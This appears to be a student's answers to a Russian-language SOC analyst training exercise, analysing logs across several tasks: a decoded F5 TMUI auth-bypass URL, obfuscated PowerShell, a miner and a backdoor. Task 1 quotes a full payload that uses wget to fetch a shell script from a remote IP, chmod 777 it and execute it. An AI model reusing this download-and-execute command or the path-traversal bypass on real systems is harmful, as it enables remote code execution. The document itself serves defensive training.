Мониторинг ИБ. Работа специалиста SOC

Task 1


Видим что часть url закодирована

Раскодируем



Получается строка:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget http://136.144.41.3+igipdmcdmsklcmk%2ohsitsvegawellrip.sh ; chmod 777 ohsitsvegawellrip.sh ; sh ohsitsvegawellrip.sh ; wget https://https:%2%2iplogger.org"FGVP5c

Видим /login.jsp/..;

Сервер проверяет авторизован пользователь или нет, но видимо человек смог обойти эту проверку

Файл tmshCmd.jsp - баш оболочка выполняющая команду:
wget http://136.144.41.3+igipdmcdmsklcmk%2ohsitsvegawellrip.sh

wget - скачивает файл:
http://136.144.41.3+igipdmcdmsklcmk%2ohsitsvegawellrip.sh

После идет команда:

chmod 777 ohsitsvegawellrip.sh

Команда chmod выдает привелегии 777
Установка 777 разрешений для файла или каталога означает, что он будет доступен для чтения, записи и выполнения всеми пользователями и может представлять огромную угрозу безопасности

Команда sh ohsitsvegawellrip.sh запускает файл

Далее идет команда wget https://https:%2%2iplogger.org"FGVP5c

Каким образом выяснено, что это атака?


Обход авторизации, повышение прав, запуск файла

IoC

Изменение прав доступа

Повышение привелегий

Не стандартное использование web

Не стандартное поведение для человека

Каким образом можно удостовериться в успешности атаки.

Запуск файла

Похоже что в приложении имеется уязвимость Broken Access Control с последующей RCE

Task 2

Скриншот

Что подозрительного в событии?

Оператор форматирования -f

Команды Invoke-Expression загружают код и выполняют его

С какой целью реализовано?

Шантаж

http://tinyurl.com/y7ukpduz


Task 3

Что в этих событиях является подозрительным?

Подозрительный хэш


Вход пользователя



Запуск скрипта



Чтение диска и создание файлов


Подкачка


Какие признаки указаных событий на это указывают

windows defender


Pipe



Какие индикаторы можно выделить

Pipe

Windows defender

Неавторизованый вход

Запуск скрипта

Опишите подробно суть подозрительных действий в системе, зафиксированных в журнале

Идет создание офисных файлов, после чего подключение через pipe, создается файл, куда загружается скрипт

Скрипт называется omni_consumer


Что произошло на узле?

Был внесен вредоносный код в powershell

Откроем event.json


Раскодируем base64



С помощью чего это удалось добиться?

С помощью замены символов, архивирования, шифрования в base64

Если есть, то укажите адрес C&C и порт.

Не обнаружен

Task 5


К какому семейству принадлежит данное ВПО?



Evader, miner

Имена файлов, которые могли быть загружены на компьютер.


Task 6


Описание

Пользователь vmpumpkin скачал архив с игрой


Remote host


Cmd


PowerShell


Бэкдор


Атакующий


Признаки, по которым можно выявлять подобную активность

Вход пользователей

настройка удаленного доступа

Запуск cmd, powershell

Данные для осуществления мер по реагированию

Настройка удаленного подключения

Изменение данных реестра на изначальные